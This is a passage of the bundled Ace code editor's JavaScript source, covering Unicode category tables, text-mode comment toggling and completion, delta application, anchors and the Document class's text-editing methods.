Sm: "002B003C-003E007C007E00AC00B100D700F703F60606-060820442052207A-207C208A-208C2140-2144214B2190-2194219A219B21A021A321A621AE21CE21CF21D221D421F4-22FF2308-230B23202321237C239B-23B323DC-23E125B725C125F8-25FF266F27C0-27C427C7-27CA27CC27D0-27E527F0-27FF2900-29822999-29D729DC-29FB29FE-2AFF2B30-2B442B47-2B4CFB29FE62FE64-FE66FF0BFF1C-FF1EFF5CFF5EFFE2FFE9-FFEC",
Sc: "002400A2-00A5060B09F209F309FB0AF10BF90E3F17DB20A0-20B8A838FDFCFE69FF04FFE0FFE1FFE5FFE6",
Sk: "005E006000A800AF00B400B802C2-02C502D2-02DF02E5-02EB02ED02EF-02FF0375038403851FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE309B309CA700-A716A720A721A789A78AFF3EFF40FFE3",
So: "00A600A700A900AE00B000B60482060E060F06E906FD06FE07F609FA0B700BF3-0BF80BFA0C7F0CF10CF20D790F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-1399194019E0-19FF1B61-1B6A1B74-1B7C210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B214A214C214D214F2195-2199219C-219F21A121A221A421A521A7-21AD21AF-21CD21D021D121D321D5-21F32300-2307230C-231F2322-2328232B-237B237D-239A23B4-23DB23E2-23E82400-24262440-244A249C-24E92500-25B625B8-25C025C2-25F72600-266E2670-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE2800-28FF2B00-2B2F2B452B462B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A828-A82BA836A837A839AA77-AA79FDFDFFE4FFE8FFEDFFEEFFFCFFFD",
Z: "002000A01680180E2000-200A20282029202F205F3000",
Zs: "002000A01680180E2000-200A202F205F3000",
Zl: "2028",
Zp: "2029",
C: "0000-001F007F-009F00AD03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-0605061C061D0620065F06DD070E070F074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17B417B517DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF",
Cc: "0000-001F007F-009F",
Cf: "00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB",
Co: "E000-F8FF",
Cs: "D800-DFFF",
Cn: "03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF"
});
function addUnicodePackage (pack) {
var codePoint = /\w{4}/g;
for (var name in pack)
exports.packages[name] = pack[name].replace(codePoint, "\\u$&");
}
});
ace.define("ace/mode/text",["require","exports","module","ace/tokenizer","ace/mode/text_highlight_rules","ace/mode/behaviour/cstyle","ace/unicode","ace/lib/lang","ace/token_iterator","ace/range"], function(require, exports, module) {
"use strict";
var Tokenizer = require("../tokenizer").Tokenizer;
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var CstyleBehaviour = require("./behaviour/cstyle").CstyleBehaviour;
var unicode = require("../unicode");
var lang = require("../lib/lang");
var TokenIterator = require("../token_iterator").TokenIterator;
var Range = require("../range").Range;
var Mode = function() {
this.HighlightRules = TextHighlightRules;
};
(function() {
this.$defaultBehaviour = new CstyleBehaviour();
this.tokenRe = new RegExp("^["
+ unicode.packages.L
+ unicode.packages.Mn + unicode.packages.Mc
+ unicode.packages.Nd
+ unicode.packages.Pc + "\\$_]+", "g"
);
this.nonTokenRe = new RegExp("^(?:[^"
+ unicode.packages.L
+ unicode.packages.Mn + unicode.packages.Mc
+ unicode.packages.Nd
+ unicode.packages.Pc + "\\$_]|\\s])+", "g"
);
this.getTokenizer = function() {
if (!this.$tokenizer) {
this.$highlightRules = this.$highlightRules || new this.HighlightRules(this.$highlightRuleConfig);
this.$tokenizer = new Tokenizer(this.$highlightRules.getRules());
}
return this.$tokenizer;
};
this.lineCommentStart = "";
this.blockComment = "";
this.toggleCommentLines = function(state, session, startRow, endRow) {
var doc = session.doc;
var ignoreBlankLines = true;
var shouldRemove = true;
var minIndent = Infinity;
var tabSize = session.getTabSize();
var insertAtTabStop = false;
if (!this.lineCommentStart) {
if (!this.blockComment)
return false;
var lineCommentStart = this.blockComment.start;
var lineCommentEnd = this.blockComment.end;
var regexpStart = new RegExp("^(\\s*)(?:" + lang.escapeRegExp(lineCommentStart) + ")");
var regexpEnd = new RegExp("(?:" + lang.escapeRegExp(lineCommentEnd) + ")\\s*$");
var comment = function(line, i) {
if (testRemove(line, i))
return;
if (!ignoreBlankLines || /\S/.test(line)) {
doc.insertInLine({row: i, column: line.length}, lineCommentEnd);
doc.insertInLine({row: i, column: minIndent}, lineCommentStart);
}
};
var uncomment = function(line, i) {
var m;
if (m = line.match(regexpEnd))
doc.removeInLine(i, line.length - m[0].length, line.length);
if (m = line.match(regexpStart))
doc.removeInLine(i, m[1].length, m[0].length);
};
var testRemove = function(line, row) {
if (regexpStart.test(line))
return true;
var tokens = session.getTokens(row);
for (var i = 0; i < tokens.length; i++) {
if (tokens[i].type === "comment")
return true;
}
};
} else {
if (Array.isArray(this.lineCommentStart)) {
var regexpStart = this.lineCommentStart.map(lang.escapeRegExp).join("|");
var lineCommentStart = this.lineCommentStart[0];
} else {
var regexpStart = lang.escapeRegExp(this.lineCommentStart);
var lineCommentStart = this.lineCommentStart;
}
regexpStart = new RegExp("^(\\s*)(?:" + regexpStart + ") ?");
insertAtTabStop = session.getUseSoftTabs();
var uncomment = function(line, i) {
var m = line.match(regexpStart);
if (!m) return;
var start = m[1].length, end = m[0].length;
if (!shouldInsertSpace(line, start, end) && m[0][end - 1] == " ")
end--;
doc.removeInLine(i, start, end);
};
var commentWithSpace = lineCommentStart + " ";
var comment = function(line, i) {
if (!ignoreBlankLines || /\S/.test(line)) {
if (shouldInsertSpace(line, minIndent, minIndent))
doc.insertInLine({row: i, column: minIndent}, commentWithSpace);
else
doc.insertInLine({row: i, column: minIndent}, lineCommentStart);
}
};
var testRemove = function(line, i) {
return regexpStart.test(line);
};
var shouldInsertSpace = function(line, before, after) {
var spaces = 0;
while (before-- && line.charAt(before) == " ")
spaces++;
if (spaces % tabSize != 0)
return false;
var spaces = 0;
while (line.charAt(after++) == " ")
spaces++;
if (tabSize > 2)
return spaces % tabSize != tabSize - 1;
else
return spaces % tabSize == 0;
return true;
};
}
function iter(fun) {
for (var i = startRow; i <= endRow; i++)
fun(doc.getLine(i), i);
}
var minEmptyLength = Infinity;
iter(function(line, i) {
var indent = line.search(/\S/);
if (indent !== -1) {
if (indent < minIndent)
minIndent = indent;
if (shouldRemove && !testRemove(line, i))
shouldRemove = false;
} else if (minEmptyLength > line.length) {
minEmptyLength = line.length;
}
});
if (minIndent == Infinity) {
minIndent = minEmptyLength;
ignoreBlankLines = false;
shouldRemove = false;
}
if (insertAtTabStop && minIndent % tabSize != 0)
minIndent = Math.floor(minIndent / tabSize) * tabSize;
iter(shouldRemove ? uncomment : comment);
};
this.toggleBlockComment = function(state, session, range, cursor) {
var comment = this.blockComment;
if (!comment)
return;
if (!comment.start && comment[0])
comment = comment[0];
var iterator = new TokenIterator(session, cursor.row, cursor.column);
var token = iterator.getCurrentToken();
var sel = session.selection;
var initialRange = session.selection.toOrientedRange();
var startRow, colDiff;
if (token && /comment/.test(token.type)) {
var startRange, endRange;
while (token && /comment/.test(token.type)) {
var i = token.value.indexOf(comment.start);
if (i != -1) {
var row = iterator.getCurrentTokenRow();
var column = iterator.getCurrentTokenColumn() + i;
startRange = new Range(row, column, row, column + comment.start.length);
break;
}
token = iterator.stepBackward();
}
var iterator = new TokenIterator(session, cursor.row, cursor.column);
var token = iterator.getCurrentToken();
while (token && /comment/.test(token.type)) {
var i = token.value.indexOf(comment.end);
if (i != -1) {
var row = iterator.getCurrentTokenRow();
var column = iterator.getCurrentTokenColumn() + i;
endRange = new Range(row, column, row, column + comment.end.length);
break;
}
token = iterator.stepForward();
}
if (endRange)
session.remove(endRange);
if (startRange) {
session.remove(startRange);
startRow = startRange.start.row;
colDiff = -comment.start.length;
}
} else {
colDiff = comment.start.length;
startRow = range.start.row;
session.insert(range.end, comment.end);
session.insert(range.start, comment.start);
}
if (initialRange.start.row == startRow)
initialRange.start.column += colDiff;
if (initialRange.end.row == startRow)
initialRange.end.column += colDiff;
session.selection.fromOrientedRange(initialRange);
};
this.getNextLineIndent = function(state, line, tab) {
return this.$getIndent(line);
};
this.checkOutdent = function(state, line, input) {
return false;
};
this.autoOutdent = function(state, doc, row) {
};
this.$getIndent = function(line) {
return line.match(/^\s*/)[0];
};
this.createWorker = function(session) {
return null;
};
this.createModeDelegates = function (mapping) {
this.$embeds = [];
this.$modes = {};
for (var i in mapping) {
if (mapping[i]) {
this.$embeds.push(i);
this.$modes[i] = new mapping[i]();
}
}
var delegations = ["toggleBlockComment", "toggleCommentLines", "getNextLineIndent",
"checkOutdent", "autoOutdent", "transformAction", "getCompletions"];
for (var i = 0; i < delegations.length; i++) {
(function(scope) {
var functionName = delegations[i];
var defaultHandler = scope[functionName];
scope[delegations[i]] = function() {
return this.$delegator(functionName, arguments, defaultHandler);
};
}(this));
}
};
this.$delegator = function(method, args, defaultHandler) {
var state = args[0];
if (typeof state != "string")
state = state[0];
for (var i = 0; i < this.$embeds.length; i++) {
if (!this.$modes[this.$embeds[i]]) continue;
var split = state.split(this.$embeds[i]);
if (!split[0] && split[1]) {
args[0] = split[1];
var mode = this.$modes[this.$embeds[i]];
return mode[method].apply(mode, args);
}
}
var ret = defaultHandler.apply(this, args);
return defaultHandler ? ret : undefined;
};
this.transformAction = function(state, action, editor, session, param) {
if (this.$behaviour) {
var behaviours = this.$behaviour.getBehaviours();
for (var key in behaviours) {
if (behaviours[key][action]) {
var ret = behaviours[key][action].apply(this, arguments);
if (ret) {
return ret;
}
}
}
}
};
this.getKeywords = function(append) {
if (!this.completionKeywords) {
var rules = this.$tokenizer.rules;
var completionKeywords = [];
for (var rule in rules) {
var ruleItr = rules[rule];
for (var r = 0, l = ruleItr.length; r < l; r++) {
if (typeof ruleItr[r].token === "string") {
if (/keyword|support|storage/.test(ruleItr[r].token))
completionKeywords.push(ruleItr[r].regex);
}
else if (typeof ruleItr[r].token === "object") {
for (var a = 0, aLength = ruleItr[r].token.length; a < aLength; a++) {
if (/keyword|support|storage/.test(ruleItr[r].token[a])) {
var rule = ruleItr[r].regex.match(/\(.+?\)/g)[a];
completionKeywords.push(rule.substr(1, rule.length - 2));
}
}
}
}
}
this.completionKeywords = completionKeywords;
}
if (!append)
return this.$keywordList;
return completionKeywords.concat(this.$keywordList || []);
};
this.$createKeywordList = function() {
if (!this.$highlightRules)
this.getTokenizer();
return this.$keywordList = this.$highlightRules.$keywordList || [];
};
this.getCompletions = function(state, session, pos, prefix) {
var keywords = this.$keywordList || this.$createKeywordList();
return keywords.map(function(word) {
return {
name: word,
value: word,
score: 0,
meta: "keyword"
};
});
};
this.$id = "ace/mode/text";
}).call(Mode.prototype);
exports.Mode = Mode;
});
ace.define("ace/apply_delta",["require","exports","module"], function(require, exports, module) {
"use strict";
function throwDeltaError(delta, errorText){
console.log("Invalid Delta:", delta);
throw "Invalid Delta: " + errorText;
}
function positionInDocument(docLines, position) {
return position.row >= 0 && position.row < docLines.length &&
position.column >= 0 && position.column <= docLines[position.row].length;
}
function validateDelta(docLines, delta) {
if (delta.action != "insert" && delta.action != "remove")
throwDeltaError(delta, "delta.action must be 'insert' or 'remove'");
if (!(delta.lines instanceof Array))
throwDeltaError(delta, "delta.lines must be an Array");
if (!delta.start || !delta.end)
throwDeltaError(delta, "delta.start/end must be an present");
var start = delta.start;
if (!positionInDocument(docLines, delta.start))
throwDeltaError(delta, "delta.start must be contained in document");
var end = delta.end;
if (delta.action == "remove" && !positionInDocument(docLines, end))
throwDeltaError(delta, "delta.end must contained in document for 'remove' actions");
var numRangeRows = end.row - start.row;
var numRangeLastLineChars = (end.column - (numRangeRows == 0 ? start.column : 0));
if (numRangeRows != delta.lines.length - 1 || delta.lines[numRangeRows].length != numRangeLastLineChars)
throwDeltaError(delta, "delta.range must match delta lines");
}
exports.applyDelta = function(docLines, delta, doNotValidate) {
var row = delta.start.row;
var startColumn = delta.start.column;
var line = docLines[row] || "";
switch (delta.action) {
case "insert":
var lines = delta.lines;
if (lines.length === 1) {
docLines[row] = line.substring(0, startColumn) + delta.lines[0] + line.substring(startColumn);
} else {
var args = [row, 1].concat(delta.lines);
docLines.splice.apply(docLines, args);
docLines[row] = line.substring(0, startColumn) + docLines[row];
docLines[row + delta.lines.length - 1] += line.substring(startColumn);
}
break;
case "remove":
var endColumn = delta.end.column;
var endRow = delta.end.row;
if (row === endRow) {
docLines[row] = line.substring(0, startColumn) + line.substring(endColumn);
} else {
docLines.splice(
row, endRow - row + 1,
line.substring(0, startColumn) + docLines[endRow].substring(endColumn)
);
}
break;
}
};
});
ace.define("ace/anchor",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var Anchor = exports.Anchor = function(doc, row, column) {
this.$onChange = this.onChange.bind(this);
this.attach(doc);
if (typeof column == "undefined")
this.setPosition(row.row, row.column);
else
this.setPosition(row, column);
};
(function() {
oop.implement(this, EventEmitter);
this.getPosition = function() {
return this.$clipPositionToDocument(this.row, this.column);
};
this.getDocument = function() {
return this.document;
};
this.$insertRight = false;
this.onChange = function(delta) {
if (delta.start.row == delta.end.row && delta.start.row != this.row)
return;
if (delta.start.row > this.row)
return;
var point = $getTransformedPoint(delta, {row: this.row, column: this.column}, this.$insertRight);
this.setPosition(point.row, point.column, true);
};
function $pointsInOrder(point1, point2, equalPointsInOrder) {
var bColIsAfter = equalPointsInOrder ? point1.column <= point2.column : point1.column < point2.column;
return (point1.row < point2.row) || (point1.row == point2.row && bColIsAfter);
}
function $getTransformedPoint(delta, point, moveIfEqual) {
var deltaIsInsert = delta.action == "insert";
var deltaRowShift = (deltaIsInsert ? 1 : -1) * (delta.end.row - delta.start.row);
var deltaColShift = (deltaIsInsert ? 1 : -1) * (delta.end.column - delta.start.column);
var deltaStart = delta.start;
var deltaEnd = deltaIsInsert ? deltaStart : delta.end; // Collapse insert range.
if ($pointsInOrder(point, deltaStart, moveIfEqual)) {
return {
row: point.row,
column: point.column
};
}
if ($pointsInOrder(deltaEnd, point, !moveIfEqual)) {
return {
row: point.row + deltaRowShift,
column: point.column + (point.row == deltaEnd.row ? deltaColShift : 0)
};
}
return {
row: deltaStart.row,
column: deltaStart.column
};
}
this.setPosition = function(row, column, noClip) {
var pos;
if (noClip) {
pos = {
row: row,
column: column
};
} else {
pos = this.$clipPositionToDocument(row, column);
}
if (this.row == pos.row && this.column == pos.column)
return;
var old = {
row: this.row,
column: this.column
};
this.row = pos.row;
this.column = pos.column;
this._signal("change", {
old: old,
value: pos
});
};
this.detach = function() {
this.document.removeEventListener("change", this.$onChange);
};
this.attach = function(doc) {
this.document = doc || this.document;
this.document.on("change", this.$onChange);
};
this.$clipPositionToDocument = function(row, column) {
var pos = {};
if (row >= this.document.getLength()) {
pos.row = Math.max(0, this.document.getLength() - 1);
pos.column = this.document.getLine(pos.row).length;
}
else if (row < 0) {
pos.row = 0;
pos.column = 0;
}
else {
pos.row = row;
pos.column = Math.min(this.document.getLine(pos.row).length, Math.max(0, column));
}
if (column < 0)
pos.column = 0;
return pos;
};
}).call(Anchor.prototype);
});
ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var applyDelta = require("./apply_delta").applyDelta;
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var Range = require("./range").Range;
var Anchor = require("./anchor").Anchor;
var Document = function(textOrLines) {
this.$lines = [""];
if (textOrLines.length === 0) {
this.$lines = [""];
} else if (Array.isArray(textOrLines)) {
this.insertMergedLines({row: 0, column: 0}, textOrLines);
} else {
this.insert({row: 0, column:0}, textOrLines);
}
};
(function() {
oop.implement(this, EventEmitter);
this.setValue = function(text) {
var len = this.getLength() - 1;
this.remove(new Range(0, 0, len, this.getLine(len).length));
this.insert({row: 0, column: 0}, text);
};
this.getValue = function() {
return this.getAllLines().join(this.getNewLineCharacter());
};
this.createAnchor = function(row, column) {
return new Anchor(this, row, column);
};
if ("aaa".split(/a/).length === 0) {
this.$split = function(text) {
return text.replace(/\r\n|\r/g, "\n").split("\n");
};
} else {
this.$split = function(text) {
return text.split(/\r\n|\r|\n/);
};
}
this.$detectNewLine = function(text) {
var match = text.match(/^.*?(\r\n|\r|\n)/m);
this.$autoNewLine = match ? match[1] : "\n";
this._signal("changeNewLineMode");
};
this.getNewLineCharacter = function() {
switch (this.$newLineMode) {
case "windows":
return "\r\n";
case "unix":
return "\n";
default:
return this.$autoNewLine || "\n";
}
};
this.$autoNewLine = "";
this.$newLineMode = "auto";
this.setNewLineMode = function(newLineMode) {
if (this.$newLineMode === newLineMode)
return;
this.$newLineMode = newLineMode;
this._signal("changeNewLineMode");
};
this.getNewLineMode = function() {
return this.$newLineMode;
};
this.isNewLine = function(text) {
return (text == "\r\n" || text == "\r" || text == "\n");
};
this.getLine = function(row) {
return this.$lines[row] || "";
};
this.getLines = function(firstRow, lastRow) {
return this.$lines.slice(firstRow, lastRow + 1);
};
this.getAllLines = function() {
return this.getLines(0, this.getLength());
};
this.getLength = function() {
return this.$lines.length;
};
this.getTextRange = function(range) {
return this.getLinesForRange(range).join(this.getNewLineCharacter());
};
this.getLinesForRange = function(range) {
var lines;
if (range.start.row === range.end.row) {
lines = [this.getLine(range.start.row).substring(range.start.column, range.end.column)];
} else {
lines = this.getLines(range.start.row, range.end.row);
lines[0] = (lines[0] || "").substring(range.start.column);
var l = lines.length - 1;
if (range.end.row - range.start.row == l)
lines[l] = lines[l].substring(0, range.end.column);
}
return lines;
};
this.insertLines = function(row, lines) {
console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead.");
return this.insertFullLines(row, lines);
};
this.removeLines = function(firstRow, lastRow) {
console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead.");
return this.removeFullLines(firstRow, lastRow);
};
this.insertNewLine = function(position) {
console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.");
return this.insertMergedLines(position, ["", ""]);
};
this.insert = function(position, text) {
if (this.getLength() <= 1)
this.$detectNewLine(text);
return this.insertMergedLines(position, this.$split(text));
};
this.insertInLine = function(position, text) {
var start = this.clippedPos(position.row, position.column);
var end = this.pos(position.row, position.column + text.length);
this.applyDelta({
start: start,
end: end,
action: "insert",
lines: [text]
}, true);
return this.clonePos(end);
};
this.clippedPos = function(row, column) {
var length = this.getLength();
if (row === undefined) {
row = length;
} else if (row < 0) {
row = 0;
} else if (row >= length) {
row = length - 1;
column = undefined;
}
var line = this.getLine(row);
if (column == undefined)
column = line.length;
column = Math.min(Math.max(column, 0), line.length);
return {row: row, column: column};
};
this.clonePos = function(pos) {
return {row: pos.row, column: pos.column};
};
this.pos = function(row, column) {
return {row: row, column: column};
};
this.$clipPosition = function(position) {
var length = this.getLength();
if (position.row >= length) {
position.row = Math.max(0, length - 1);
position.column = this.getLine(length - 1).length;
} else {
position.row = Math.max(0, position.row);
position.column = Math.min(Math.max(position.column, 0), this.getLine(position.row).length);
}
return position;
};
this.insertFullLines = function(row, lines) {
row = Math.min(Math.max(row, 0), this.getLength());
var column = 0;
if (row < this.getLength()) {
lines = lines.concat([""]);
column = 0;
} else {
lines = [""].concat(lines);
row--;
column = this.$lines[row].length;
}
this.insertMergedLines({row: row, column: column}, lines);
};
this.insertMergedLines = function(position, lines) {
var start = this.clippedPos(position.row, position.column);
var end = {
row: start.row + lines.length - 1,
column: (lines.length == 1 ? start.column : 0) + lines[lines.length - 1].length
};
this.applyDelta({
start: start,
end: end,
action: "insert",
lines: lines
});
return this.clonePos(end);
};
this.remove = function(range) {
var start = this.clippedPos(range.start.row, range.start.column);
var end = this.clippedPos(range.end.row, range.end.column);
this.applyDelta({
start: start,
end: end,
action: "remove",
lines: this.getLinesForRange({start: start, end: end})
});
return this.clonePos(start);
};
this.removeInLine = function(row, startColumn, endColumn) {
var start = this.clippedPos(row, startColumn);
var end = this.clippedPos(row, endColumn);
this.applyDelta({
start: start,
end: end,
action: "remove",
lines: this.getLinesForRange({start: start, end: end})
}, true);
return this.clonePos(start);
};
this.removeFullLines = function(firstRow, lastRow) {
firstRow = Math.min(Math.max(0, firstRow), this.getLength() - 1);
lastRow = Math.min(Math.max(0, lastRow ), this.getLength() - 1);
var deleteFirstNewLine = lastRow == this.getLength() - 1 && firstRow > 0;
var deleteLastNewLine = lastRow < this.getLength() - 1;
var startRow = ( deleteFirstNewLine ? firstRow - 1 : firstRow );
var startCol = ( deleteFirstNewLine ? this.getLine(startRow).length : 0 );
var endRow = ( deleteLastNewLine ? lastRow + 1 : lastRow );
var endCol = ( deleteLastNewLine ? 0 : this.getLine(endRow).length );
var range = new Range(startRow, startCol, endRow, endCol);
var deletedLines = this.$lines.slice(firstRow, lastRow + 1);
this.applyDelta({
start: range.start,
end: range.end,
action: "remove",
lines: this.getLinesForRange(range)
});
return deletedLines;
};
this.removeNewLine = function(row) {
if (row < this.getLength() - 1 && row >= 0) {
this.applyDelta({
start: this.pos(row, this.getLine(row).length),
end: this.pos(row + 1, 0),
action: "remove",
lines: ["", ""]
});
}
};
this.replace = function(range, text) {
if (!(range instanceof Range))
range = Range.fromPoints(range.start, range.end);
if (text.length === 0 && range.isEmpty())
return range.start;
if (text == this.getTextRange(range))
return range.end;
this.remove(range);
var end;
if (text) {
end = this.insert(range.start, text);
}
else {
end = range.start;
}
return end;
};
this.applyDeltas = function(deltas) {
for (var i=0; i<deltas.length; i++) {
this.applyDelta(deltas[i]);
}
};
this.revertDeltas = function(deltas) {
for (var i=deltas.length-1; i>=0; i--) {
